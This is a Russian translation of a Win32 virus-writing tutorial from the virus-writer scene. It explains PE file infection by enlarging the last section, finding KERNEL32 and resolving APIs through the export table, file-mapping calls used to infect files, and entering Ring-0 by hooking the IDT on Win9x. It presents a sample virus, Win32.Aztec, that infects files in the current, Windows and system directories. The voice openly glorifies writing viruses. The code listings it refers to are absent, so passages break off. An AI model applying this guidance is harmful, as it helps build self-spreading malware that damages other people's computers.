продемонстирую, все это на самом деле несложно. Вы должны уяснить: у

процессора четыре уровня привилегий: Ring-0, Ring-1, Ring-2 и Ring-3, причем

последний имеет больше всего ограничений, а первый подобен Валгалле для

кодеров, почти полная свобода действий. Вспомните DOS, где мы всегда

программировали в Ring-0... А теперь подумайте, что вы сможете делать то же

самое под платформами Win32... Ладно, прекратим мечтать и начнем работать.

Ring-3 - это т.н. "пользовательский" уровень, на котором у нас множество

ограничений. Кодеры Microsoft сделали ошибку, когда зарелизили Win95 и

сказали, что она "незаражаема". Это было продемонстрировано еще до начала

продаж системы Bizatch (которых еще неверно называли Boza, но это другая

история). Программисты Microsoft думали, что вирус не сможет добраться до

API. Но они не подумали об интеллектуальном превосходстве вирмейкеров...

Конечно, мы можем писать вирус и на пользовательском уровне. Достаточно

взглянуть на массу новых Win32 вирусов времени выполнения, которые релизятся

в настоящее время, они все сделаны под Ring-3... Не поймите меня неверно, я

не говорю, что это плохо, и между прочим, только Ring-3 вирусы могут

работать под всеми версиями Win32. Они - будущее... в основном из-за того,

что скоро будет релиз Windows NT 5.0 (или Windows 2000). Для успешной жизни

вируса мы должны найти функции API (то, что написали Bizatch, размножалось

плохо, потому что они "захардкодили" адреса API-функций, а они отличаются от

версии к версии Windows), что мы можем сделать несколькими способами, о

которых я расскажу позже.

Ring-0 - это другая история, очень отличная от Ring-3. Это уровень, на

котором работает ядро. Разве это не прекрасно? Мы можем иметь доступ к

портам, к местам, о которых не могли мечтать раньше... это почти что оргазм.

Мы не можем выйти в Ring-0 без использования одного из специальных способов,

таких как модификация IDT, техника "Call Gate", показанная SoPinKy/29A в

29A#3 или вставки в VMM, техника, продемонстрированная в вирусах Padania или

Fuck Harry. Нам не нужны API-функции, так как мы работает напрямую с

сервисами VxD и похоже, что их адреса одни и те же во всех версиях Win9x,

поэтому мы можем их указывать явно. Я расскажу об этом подробнее во главе,

посвященной Ring-0.

Я думаю, что должен рассказать об этом вначале данного пособия, как бы то ни

было, лучше об этом знать, чем не знать :). Хорошо, давайте поговорим о

внутренностях наших Win32-операционных систем.

Во-первых, вы должны уяснить несколько концепций. Давайте начнем с

селекторов. Что такое селектор? Это очень просто. Это очень большой сегмент,

и эта форма Win32-памяти также называется плоской памятью. Мы можем напрямую

обращаться к 4 гигабайтам памяти (4.294.967.295 байтов) используя только

32-х битные смещения. И как организованна эта память? Давайте взглянем на

одну из диаграмм, которые я так люблю делать:

Обратите внимание на одну вещь: у WinNT последние две секции находятся

отдельно от первых двух. Ладно, теперь я помещу определения, которые вы

должны знать. В остальной части туториала я буду исходить из того, что вы

о них помните.

VA расшифровывается как Virtual Address (виртуальный адрес). Это адрес

чего-нибудь, но в памяти (помните, что в Windowz вещи на диске и в памяти не

обязательно эквиваленты).

RVA расшифровывается как Relative Virtual Address. Очень важно четко это

понять. RVA - это смещение на что-то, относительно того места, куда

промэппирован файл (вами или системой).

RAW-данные - это имя, которое мы используем для обозначения данных так, как

они есть физически на диске (данные на диске != данные в памяти).

Виртуальные данные - это имя, которым мы называем данные, когда они

загруженны системой в память.

Техника, реализованная во всех операционных системах Win32, которая

позволяет производить различные действия с файлом быстрее и затрачивать при

этом меньше памяти, а также она более удобна, чем способы, практиковавшиеся

в DOS. Все, что мы изменяем в памяти, также изменяется на диске. Файловый

мэппинг - это единственный способ обмениваться информацией между различными

процессами, который работает во всех Win32-операционных системах.

Черт, я почти забыл об этом :). Используются обычные параметры для

компиляции ассемблерной программы под Win32. Все примеры в данном туториале

компилируются со следующими параметрами (где 'program' - это имя файла

.asm, но без какого-либо расширения):

Я надеюсь, что это достаточно ясно. Вы также можете использовать make-файлы

или написть .bat, который будет делать все автоматически (как сделал я!).

Вероятно, это одна из самых важных глав данного пособия. Прочитайте его!

Введение

Очень важно хорошо представлять себе структуру заголока PE-файла, чтобы писать наши виндовозные вирусы. В этой главе я перечислю все, что считаю наиболее важным, но здесь не вся информация о PE-файле, поэтому рекомендую взглянуть на документы, упомянутые в разделе "Что потребуется...".

Давайте рассмотрим каждую из этих частей поподробнее. Вот диаграмма в стиле Micheal J. O'Leary.

Теперь, когда вы получили общее представление о заголовке PE, эта чудесная (но несколько усложненная) вещь станет нашей новой целью. Хорошо-хорошо, у вас есть уже общее представление, но вам нужно знать внутреннюю структуру заголовка PE. Приготовьтесь!

IMAGE_FILE_HEADER

Я дам краткое описание (резюме того, что сказал в своем прекрасном документе о формате PE-файла Мэтт Питрек) полей IMAGE_FILE_HEADER.

¤ PE\0\0:

Это метка, которая есть у каждого PE-файла. Просто проверяйте ее существование при заражении файла. Если метки нет, то это не PE-файл, ок?

¤ Машина:

Так как компьютером, который мы используем может быть несовместим с PC (теоретически), а PE-файлы могут быть и на таких компьютерах, в этом поле указывается тип машины, для которой предназначается приложение. Это может быть одно из следующих значений:

¤ Количество секций:

Это поле играет важную роль при заражении. Оно сообщает, сколько секций в файле.

¤ Временной штамп:

Содержит количество секунд, которое прошло с декабря 31-ого 1969 года с 4:00 до того момента, когда файл был слинкован.

¤ Указатель на таблицу символов

Не интересно, поскольку используется только в OBJ-файлах.

¤ Количество символов:

Не интересно, поскольку используется только в OBJ-файлах.

¤ Размер опционального заголовка:

Содержит количество байтов, которое занимает IMAGE_OPTIONAL_HEADER (смотри описание

¤ Характеристики:

Флаг дает нам еще кое-какую информацию о файле. Нам это не интересно.

IMAGE_OPTIONAL_HEADER

¤ Magic:

Так как это поле всегда равно 010Bh, похоже, что это какая-то сигнатура. Не интересно.

¤ Старшая и младшая версии линкера:

Версия линкера, который создал файл. Не интересно.

¤ Размер кода:

Количество байт (округленное) во всех секциях, содержащих исполняемый код.

¤ Размер инициализированных данных:

Предполагается, что здесь должен указываться общий размер всех секций с инициализированными данными.

¤ Размер неинициализированных данных:

Неинициализированные данные не занимают места на винте, но когда система загружает файл, она выделяет ему некоторое количество памяти (виртуальную память).

¤ Адрес точки входа:

Где загрузчик начнет выполнение кода. Это RVA относительно базы образа, когда система загружает файл. Очень интересно.

¤ База кода:

RVA, откуда начинаются секции файла с кодом. Секции с кодом обычно идут до секций с данными и после PE-заголовка. Для файлов, произведенных с помощью микрософтовских линкеров, этот RVA обычно равен 0x1000. TLINK32, похоже, добавляет к этому RVA базу образа и сохраняет результат в данном поле.

¤ База данных

RVA, откуда начинаются секции с данными. Они обычно идут последними после PE-заголовка и секций с кодом.

¤ База образа:

Когда линкер создает экзешник, он предполагает, что файл будет промэппирован в определенное место в памяти. Этот адрес и хранится в данном поле, делая возможным определенную оптимизацию со стороны линкера. Если файл действительно промэппирован по этому адресу, код не нуждается в каком-либо патчении перед запуском. В экзешниках, компилируемых для Windows NT, база образа по умолчанию равна 0x10000, а для DLL он по умолчанию равен 0x400000. В Win9x адрес 0x10000 не может использоваться при загрузке 32-х битных EXE, так как он находится внутри региона, разделяемого всеми процессами. Из-за этого Микрософт изменил адрес базы по умолчанию на 0x400000.

¤ Выравнивание секций:

При мэппировании секции выравниваются таким образом, чтобы они начинались с виртуального адреса, кратного данному значению. Выравнивание секций по умолчанию равно 0x1000.

¤ Файловое выравнивание:

В PE-файле raw-данные, представляющие каждую из секций, начинаются со значения, кратного данному параметру. По умолчанию он равен 0x200, вероятно, потому что тогда секции будут начинаться с начала сектора диска (который также равен 0x200 байтам). Это поле эквивалентно размеру выравнивания сегментов/ресурсов в NE-файлах. В отличии от NE-файлов, PE-файлы не имеют сотен секций, поэтому на файловое выравнивание уходит очень мало место.

¤ Старшая и младшая версии операционной системы:

Минимальная версия операционной системы, которая требуется для использования данной программы. Назначение данного поля не совсем ясно, так как поля подсистемы служат, похоже, той же самой цели. Это поле по умолчанию равно 1.0.

¤ Младшая и старшая версии образа:

Задаваемое пользователем поле. Оно позволяет вам иметь разные версии EXE или DLL. Вы можете установить значения этих полей с помощью опции линкера /VERSION. Например "LINK /VERSION:2.0 myobj.obj".

¤ Старшая и младшая версии подсистемы:

Содержат минимальную версию подсистемы, которая требуется для запуска данной программы. Типичное значение этого поля - 3.10 (что означает Windows NT 3.1).

¤ Зарезервировано1:

Похоже, что оно всегда равно 0 (идеально для метки заражения).

¤ Размер образа:

Похоже, что это полный размер всех частей образа, о которых должен позаботиться загрузчик. Это размер региона, начинающегося от базы образа до конца последней секции, который округляется до ближайшего числа, кратного выравниванию секций.

¤ Размер заголовков:

Размер PE-заголовка и таблицы секций (объектов). Raw-данные секций начинаются непосредственно после всех компонентов заголовка.

¤ Чексумма:

Предположительно CRC файла. Как и в других микрософтовских форматах исполняемых файлов, это поле игнорируется и устанавливается в 0. Есть одно исключение из этого правила: в доверенных (trusted) сервисах и EXE это поле должно содержать верную чексумму.

¤ Подсистема:

Тип подсистемы, используемой приложением для пользовательского интерфейса.

¤ Характеристики DLL:

Набор флагов, задающий при каких условиях будет вызываться функция инициализации DLL (например DLLMain). Похоже, что это значение всегда равно 0, тем не менее операционная система вызывает инициализацию DLL для всех 4-х событий.

¤ Размер зарезервированного стека:

Количество виртуальной памяти, резервируемой для начального стека треда. Тем не менее, не вся эта память выделяется (смотри следующее поле). Это поле по умолчанию равно 0x100000. Если вы укажете 0 в качестве размера стека при создании треда функцией CreateThread, именно столько будет занимать стек нового треда.

¤ Размер выделенного стека:

Количество памяти, выделяемой для начального стека треда. Это поле по умолчанию равно 0x1000 (1 страница) у Microsoft Linker, в то время как TLINK32 делает это поле равным двум страницам.

¤ Размер зарезервированной кучи:

Количество виртуальной памяти, которое необходимо зарезервировать для начальной кучи процесса. Этот хэндл кучи можно получить, вызывав GetProcessHeap. Нет вся эта память выделяется (смотри следующее поле).

¤ Размер выделенной кучи:

Количество памяти, изначально выделяемой для кучи процесса. По умолчанию - одна страница.

¤ Флаги загрузчика:

Согласно WINNT.H эти поля относятся к поддержке отладки. Я никогда не видел экзешника с установленными битами этого поля, да и как заставить линкер их установить не совсем понятно.

1. Вызвать инструкцию точки прерывания перед запуском процесса 2. Вызвать отладчик после того, как процесс будет загружен в память

¤ Number Of Rva And Sizes:

Количество элементов в массиве DataDirectory (ниже). Современные компиляторы всегда устанавливает это поле равным 16.

IMAGE_SECTION_HEADER

¤ Имя секции:

Это 8-ми байтовое имя в формате ANSI (UNICODE), которая задает имя секции. Большая часть имен секций начинается с "." (например ".text"), но это не обязательное требование как утверждают некоторые руководства по формату PE. Вы можете назвать вашу секцию как хотите с помощью специальной директивы ассемблера или с помощью "#pragma data_seg" и "#pragma code_seg" в Microsoft C/C++ компиляторе. Важно учитывать, что если имя секции занимает 8 байт, то в конце не будет NULL-байта. Вы можете использовать %.8s с функцией printf, чтобы скопировать строку в другой буфер и добавить NULL в конце.

¤ Виртуальный размер:

Значение этого файла отличается в EXE и OBJ. В EXE он содержит реальный размер код или данных. Это размер до округления до ближайшего числа, кратного файловому выравниванию. Поле SizeOfRawData 'размер raw-данных' (похоже, названное не совсем верно) содержит округленное значение. Линкер Borland'а меняет значения этих двух полей и похоже, что он прав. Для OBJ файлов этой поле означает физический адрес секции. Первая секция начинается с адреса 0. Чтобы найти физический адрес следующей секции в OBJ-файле, добавьте значение SizeOfRawData к физическому адресу текущих секции.

¤ Виртуальный адрес:

В EXE это поле содержит RVA на то место, куда загрузчику следует промэппировать секцию. Чтобы посчитать реальный стартовый адрес данной секции в памяти и добавьте базовый адрес образа к виртуальному адресу (поле VirtualAddress). Микрософтовские инструменты по умолчанию указывают на RVA 0x1000. В OBJ'ах это поле не имеет значения и установленно в 0.

¤ Размер raw-данных:

В EXE это поле содержит округленный до кратного файловому выравниванию числа размер секции. Например, предположим, что файловое выравнивание равно 0x200. Если поле VirtualSize содержит значение 0x35A, в этом поле будет находиться 0x400. В OBJ'ах это поле содержит точный размер секции, созданной компилятором или ассемблером. Другими словами для OBJ это поле играет ту же роль, что и виртуальный размер в EXE.

¤ Указатель на raw-данные:

Это смещение на raw-данные, которое меняется от файла к файлу. Если ваша программа самостоятельно загружает файл PE или COFF в память (вместо того, чтобы позволить сделать это операционной системе), это поле более важно, чем VirtualAddress - по этому смещению вы найдете данные секций, а не по RVA, указанном в поле виртуального адреса.

¤ Указатель на релокейшены:

В OBJ'ах это смещение на информацию о релокейшенах данной секции. Информация о релокейшенах каждой секции OBJ следует непосредственно за raw-данными этой секции. В EXE это поле не имеет значения (как и следующее поле) и установлено в ноль. Когда линкер создает EXE, он устанавливает большую часть адресных записей (fixups), и только релокейшены адреса базы и импортируемых функций устанавливаются во время загрузки. Информация о релокейшенах базы и импортируемых функций находится в специальных секциях, поэтому в EXE нет необходимости держать информацию о релокейшенах после каждой секции raw-данных.

¤ Указатель на номера строк:

Это смещение на таблице номеров строк. Эта таблица соотносит номера строк исходного кода со сгенерированным кодом для каждой конкретной строки. В современных отладочных форматах, таких как формат CodeView, информация о номерах строк хранится как часть отладочной информации. В отладочном формате COFF, тем не менее, информация о номерах строк хранится отдельно от символьной информации о именах/типах. Обычно только секциим кода (такие как .text) требуется данная информация. В EXE-файлах номера строк собираются ближе к концу файла после raw-данных секций. В OBJ-файлах таблица номеров строк для секций находится после секции данных и таблицы релокейшенов для этой секции.

¤ Количество релокейшенов:

Количество релокейшенов в соответствующей таблице для данной секции (поле PointerToRelocations - 'указатель на релокейшены'). Похоже, что данное поле содержит верные данные только в OBJ'ах.

¤ Количество номеров строк:

Количество номеров строк в соответствующей таблице для данной секции.

¤ Характеристики:

То, что большинство программистов называет флагами, формат COFF/PE называет характеристиками. Это поле является множеством флагов, которые задают аттрибуты секции (такие как код/данные, доступно ли для чтения или для записи). Чтобы получить полный список всех возможных аттрибутов секций, смотрите IMAGE_SCN_XXX_XXX #defin'ы в WINNT.H. Некоторые из важных флагов приведены ниже:

0x00000020 Эта секция содержит код. Обычно устанавливается вместе с флагом выполняемого кода (0x80000000).

0x00000040 Эта секция содержит инициализированные данные. Этот флаг есть почти у всех секций кроме секции выполняемого кода и .bss.

0x00000080 Эта секция содержит неинициализированные данные (например секция .bss).

0x00000200 Эта секция содержит комментарии или другой тип информации. Типичное использование данной секции - это секция .drectve, добавляемая компилятором и содержащая команды для линкера.

0x00000800 Содержимое этой секции не должно помещаться в конечный EXE-файл. Эти секции используются компилятором/ассемблером, чтобы передать информацию линкеру.

0x02000000 Эту секция можно выгрузить из памяти после загрузки (например секция с релокейшенами - .reloc).

0x10000000 Эта секция является разделяемой. Если используется вместе с DLL, данные в этой секции будут разделяться всеми процессами, ее использующими. По умолчанию секции данных являются неразделяемыми, и это означает, что каждый процесс, использующий DLL получает свою собственную копию этой секции данныи. Если использовать техническую терминологию, флаг разделяемости говорит менеджеру загрузки, чтобы тот установил мэппинги страниц таким образом, чтобы все процессы, использующие DL ссылались на одну и ту же физическую страницу в памяти. Чтобы сделать секцию разделямой, используйте аттрибут SHARED во время линковки. Например:

LINK /SECTION:MYDATA,RWS ...

говорит линкеру, что секция под названием MYDATA должна быть доступной для чтения и записи, а также быть разделяемой.

0x20000000 Эта секция является исполняемой. Этот флаг обычно устанавливается везде, где установлен флаг кода (0x00000020).

0x40000000 Эта секция доступня для чтения. Этот флаг установлен почти для всех секций EXE-файла.

0x80000000 Эта секция доступна для записи. Если этот флаг не установлен в секции EXE, загрузчик должен пометить промэппированные страницы как доступные только для чтения или выполнения. Обычно такой аттрибут есть у секций .data и .bss. Что интересно, у секции .idata этот аттрибут тоже установлен.

Необходимые изменения

Хорошо, здесь я объясню вам изменения, которые необходимо выполнить при заражении PE. Я предполагаю, что вы делаете вирус, который увеличивает размер последней секции PE-файла. Эта техника получила наибольшее распространение среди нас, да и она, между прочим, гораздо проще, чем добавление другой секции. Давайте посмотрим, как вирус может изменить заговок исполняемого файла. Для этого мы используем программу INFO-PE Lord'а Julus'а [SLAM].

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

+ DOS-информация +

+ PE Header +

+ Опциональный заголовок PE +

+ Заголоки PE-секции +

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это был нормальный незараженный файл. Ниже идет тот же самый файл, но зараженный моим Aztec'ом (Вирус-пример для Ring-3, смотри ниже).

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

+ DOS INFORMATION +

Анализируемый файл: GOAT002.EXE

+ Заголовок PE +

+ Опциональный PE-заголовок +

+ Заголовки PE-секций +

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Я надеюсь, что это помогло вам понять, что мы делаем, когда заражаем PE, увеличивая его последнюю секцию. Чтобы вам не сравнивать каждую из этих таблиц друг с другом, я составил для вас следующим маленький список:

Код очень прост. Для тех, кто не понимает ничего без кода, взгляните на Win32.Aztec, который полностью объяснен в следующей главе.

Да, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничивающих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. Между прочим, это единственный путь сделать так, чтобы вирус был полностью Win32-совместимым и это среда окружения будущего, как вы должны знать. Во-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом:

Простой способ получить адрес базы KERNEL32

Как вы знаете, когда мы запускаем приложением, код вызывается откуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). Давайте применим эти знания на практике:

Ок, это просто. У нас в EAX есть значение, примерно равно BFF8XXXX (XXXX не играет роли, нам не нужно знать его точно. Так как Win32-платформы обычно все огруляют до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. А как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. Хммм, наш лимит - 50h страниц. Хехе, не беспокойтесь, далее последует некоторый код ;).

Рекомендация: я протестировал это у меня не было никаких проблем в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не знаю, что может произойти, я советую вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последующих уроках. Хех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственную версию этого кода, где объясню, что можно сделать с импортами. Например, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;).

Получить эти сумасшедшие функции API

Ring-3, как я уже говорил, это уровень пользователя, поэтому нам доступны только его немногие возможности. Мы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждению, что "Win32-платформы не могут быть подвергнуты заражению"), на том, что если они перекроют доступ ко всему, что обычно используют вирусы, они смогут победить нас. В их мечтах. Они думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история.

Ладно, как было сказано ранее, у нас есть объявленное как внешнее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилированно в код, но у нас появятся проблемы при написании вирусов. Если мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следующей версии Win32. Вы можете найти пример в Bizatch. Что нам нужно сделать? У нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. Вы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? У нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:

1. Поиск GetProcessAddress в таблице экспортов.

2. В зараженном файле ищем среди импортированных функций GetProcAddress.

Самый простой путь - первый, который я первым и объясню :). Сначала немного теории, а потом код.

Если вы взглянете на формат заголовка PE, то увидите, что по смещению 78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. Ок, нам нужно получить адрес экспортов ядра. В Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. В Win2k у нас будет адрес 077E00000h. Поэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. Я настоятельно рекомендую ESI, потому что тогда мы можем использовать LODSD.

Мы проверяем, находится ли в начале слова "MZ" (ладно-ладно, "ZM", черт побери эту интеловскую архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. После данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещению адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещеню 3Ch в PE-заголовке) и сравниваем с "PE\0\0" (сигнатурой PE).

Если все хорошо, тогда идем дальше. Нам нужен RVA таблицы экспортов. Как вы можете видеть, он находится по смещению 78h в заголовке PE - вот мы его и получили. Но как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. Все очень просто: просто добавьте смещение ядра к найденному значению. Хорошо. Теперь мы находимся в таблице экспорта :).

Давайте посмотрим ее формат:

Для нас важны последние 6 полей. Значения RVA таблицы адресов, указателей на имена и ординалов являются относительными к базе KERNEL32, как вы можете предположить. Поэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позицию его позицию в таблице. Мы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. Размер счетчика, который мы будем использовать, должен быть больше байта.

Обратите внимание: я предполагаю, что в вы сохраняете в соответствующих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.

Ок, представьте, что мы получили имя функции API, которое нам было нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. Ладно, теперь последует самая сложная часть для начинающих в программировании под Win32. У нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. Поскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. Нижеследующая формула кратко резюмирует вышесказанное:

Местонахождение функции API: (счетчик * 2) + VA таблицы ординалов

Просто, не правда ли? Ладно, следующий шаг (и последний) заключается в том, чтобы получить адрес API-функции из таблицы адресов. У нас уже есть ординал функции. С его помощью наша жизнь изрядно упрощается. Мы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещению начала адреса таблицы адресов, который мы получили ране. Хехе, теперь у нас есть RVA адрес API-функции. Теперь мы должны нормализировать его, добавить смещение ядра и все! Мы получили его!!! Давайте посмотрим на простую математическую формулу:

Адрес API-функции: (Ординал функции*4)+VA таблицы адресов+база KERNEL32

[...] В этих таблицах больше элементов, но в качестве примера этого вполне достаточно...

Я надеюсь, что вы поняли мои объяснения. Я пытаюсь объяснить так просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. Будьте терпеливы. Я уверен, что вы все поймете. Хмм, может вам нужно сйчас немного кода, чтобы увидеть это в действии. Вот мои процедуры, которые я использовал, например, в моем вирусе Iced Earth.

Хех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожидаю, что вы поняли суть. Если нет, то это не мои проблемы... Но теперь появляется вопрос, какие функции нам следует искать? Ниже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов).

Пример вируса

Не думайте, что я сумасшедший. Я помещу здесь код вируса для того, чтобы избежать последовательного описания всех этих API-функций, а продемонстировать их в действии :). Этот вирус - одно из моих последних созданий. Мне потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. Наслаждайтесь Win32.Aztec! (Да, Win32!!!).

Я надеюсь, что пpиведенный выше виpус достаточно понятен. Это всего лишь пpостой виpус вpемени выполнения, котоpый будет pаботать на всех платфоpмах Win32, заpажающией 5 файлов в текущей, Windows- и системной диpектоpиях. В него не встpоено никаких механизмов маскиpовки (так как это тестовый виpус), и я думаю, что он опpеделяется всеми AV-пpогpаммами. Поэтому не стоит менять в нем паpу стpок и пpовозглашать себя его автоpом. Лучше напишите виpус сами. Как я подозpеваю, нектоpый части виpуса еще не совсем ясны (относящиеся к вызовам API), поэтому я пpивожу здесь кpаткое пеpечисление возможных действий, котоpые можно совеpшить с помощью конкpетного API.

- > Как откpыть файл для чтения и записи?

Для этого мы используем функцию CreateFileA. Пpедлагаемые паpаметpы следующие:

+ У dwCreationDistribution есть несколько интеpесных значений:

Так как мы хотим откpыть уже существующий файл, мы используем OPEN_EXISTING, то есть 03h. Если для сових нужд нам понадобится откpыть вpеменный файл, мы используем дpугое значение, такое как CREATE_ALWAYS.

+ dwShareMode следует быть pавным 01h, в любом случае мы можем выбиpать только из следующих значений:

Таким обpазом мы позволяем читать из откpытого нами файла, но не писать туда!

+ dwDesireAccess опpеделяет паpаметpы доступа к файлу. Мы используем C0000000h, это сумма GENERIC_READ и GENERIC_WRITE, что означает, что нам нужны оба вида доступа :) Вот, смотpите:

Этот вызов возвpатит нам 0xFFFFFFFF, если пpоизошла ошибка. Если таковой не случилось, нам будет возвpащен хэндл откpытого файла, котоpый мы сохpаним в соответствующей пеpеменной. Для закpытия этого хэндла (когда потpебуется) мы используем функцию CloseHandle.

- > Как создавать мэппинг откpытого файла?

Для этого служит CreateFileMappingA. Пpедлагаемые паpаметpы следующие:

+ lpName и lpFileMappingAttributes лучше делать pавными 0.

+ dwMaximumSizeHigh лучше делать pавным 0

+ dwMaximumSizeLow - это pазмеp будущего пpомэппиpованного объекта

+ flProtect может быть одним из следующих значений:

Я пpедлагаю вам использовать PGE_READWRITE, что позволит читать и/или писать без каких-либо пpоблем.

+ hFile - это хэндл откpытого pанее файла, котоpый мы хотим пpомэппиpовать.

Вызов этого API возвpатит нам значение NULL в EAX в случае неудачи; в пpотивном случае нам будет возвpащен хэндл мэппинга. Мы сохpаним его в соответствующей пеpеменной. Чтобы закpыть хэндл мэппинга, следует использовать функцию CloseHandle.

-> Как пpомэппиpовать файл в адpесное пpостpанство пpоцесса?

Следует использовать функцию MapViewOfFile. Пpедлагаемые паpаметpы следующие:

+ dwFileOffsetLow и dwFileOffsetHigh следует делать pавными 0

+ dwNumberOfBytesToMap - это количество мэппиpуемых байтов файла

+ dwDesiredAccess может быть одним из следующих значений:

Я пpедлагаю FILE_MAP_WRITE.

+ hFileMappingObject должен быть хэндлом мэппинга, возвpащенным пpедыдущим вызовом CreateFileMappingA.

Эта функция возвpатит нам NULL, если пpоизошла какая-нибудь ошибка, в пpотивном случае нам будет возвpащен адpес мэппинга. Чтобы закpыть этот адpес, нужно использовать функцию UnmapViewOfFile.

-> Как закpыть хэндл файла и хэндл мэппинга?

Мы должны использовать функцию CloseHandle.

Если закpытие пpошло успешно, нам будет возвpащена 1.

- > Как закpыть адpес мэппинга?

Вам нужно использовать функцию UnmapViewOfFile.

Если закpытие пpошло успешно, нам будет возвpащена 1.

Свобода! Разве вы не любите ее? В ring-0 у нас нет никаких огpаничений, никакие законы не pаспpостpаняются на нас. Из-за некомпетентности Микpософта у нас есть множество путей, чтобы попасть на уpовень, на котоpый (теоpетически) мы не можем попасть. Тем не менее, мы можем это сделать под ОСями Win9x.

Глупцы из Micro$oft оставили незащищенными таблицу пpеpываний, напpимеp. Это гигантская бpешь в безопасности, на мой взгляд. Hо какого чеpта, если мы можем написать виpус, используя его, это не бpешь, это пpосто подаpок! ;)

Получение доступа к Ring-0

Ок, я объясню самый пpостой способ с моей точки зpения, котоpым является модификация IDT. IDT (Interrupt Descriptor Table) не является фиксиpованным адpесом, поэтому чтобы найти ее местоположение, мы должны использовать специальную инстpукцию, напpимеp SIDT.

Hа случай, если еще не понятно, для чего мы используем SIDT, поясню: она помещает смещение в фоpмате FWORD (WORD:DWORD), по котоpому находится IDT. И, если мы знаем, где находится IDT, мы можем модифициpовать вектоpы пpеpываний и сделать так, чтобы они указывали на наш код. Это показывает нам ламеpность Micro$oft'овских кодеpов. Давайте пpодолжим нашу pаботу. После изменений вектоpов так, чтобы они указывали на наш код (и сохpанения их для последующего восстановления), нам остается только вызвать небольшой код, чтобы пеpейти в Ring-0, модифициpовав IDT.

Тепеpь у нас есть доступ к Ring-0. Я думаю, что это может сделать каждый, но навеpняка почти каждый, кто будет это делать в пеpвый pаз, спpосит: "Что делать тепеpь?".

Пpогpаммиpование виpусов под Ring-0

Я люблю начинать уpоки с небольших алгоpитмов, поступлю так и в этот pаз.

Алгоpитм слегка велик, как бы то ни было, я пытался сделать его более общим, но я пpедпочитаю пеpейти непосpедственно к делу. Ок, поехали.

Пpовеpяем, какая OS запущена

Есть кое-какие пpоблемы с Ring-0 под NT (Super, pеши их!), поэтому мы должны пpовеpить, в какой опеpационной системе мы находимся, и возвpатить контpоль носители, если это не платфоpма Win9x. Есть несколько путей:

• Use SEH

• Check for the Code Segment value

• Использовать SEH

• Пpовеpить значение CS

Я пpедполагаю, что вы умеете pаботать с SEH, пpавда? Я объяснил его пpименение в дpугой главе, поэтому настало вpемя встать и пpочитать ее :). Что касается втоpого способа, вот код:

Объяснение этого кода очень пpостое: в Windows NT CS всегда меньше 100h, а в Win95/98 всегда больше, поэтому мы очищаем младший байт CS, и если он меньше 100, ECX будет 0 и наобоpот, если младший байт будет больше 100h, ECX нулю pавен не будет. Оптимизиpованно, да ;).

Пеpеход в Ring-0 и выполнение пpеpывания

Пpостейший путь объяснен в главе о получения доступа к Ring-0, поэтому я не буду говоpить об этом что-то еще здесь :).

Мы в Ring-0... Что делать дальше?

В Ring-0 вместе API у нас есть VxD-сеpвисы. Получить к ним доступ можно следующим обpазом:

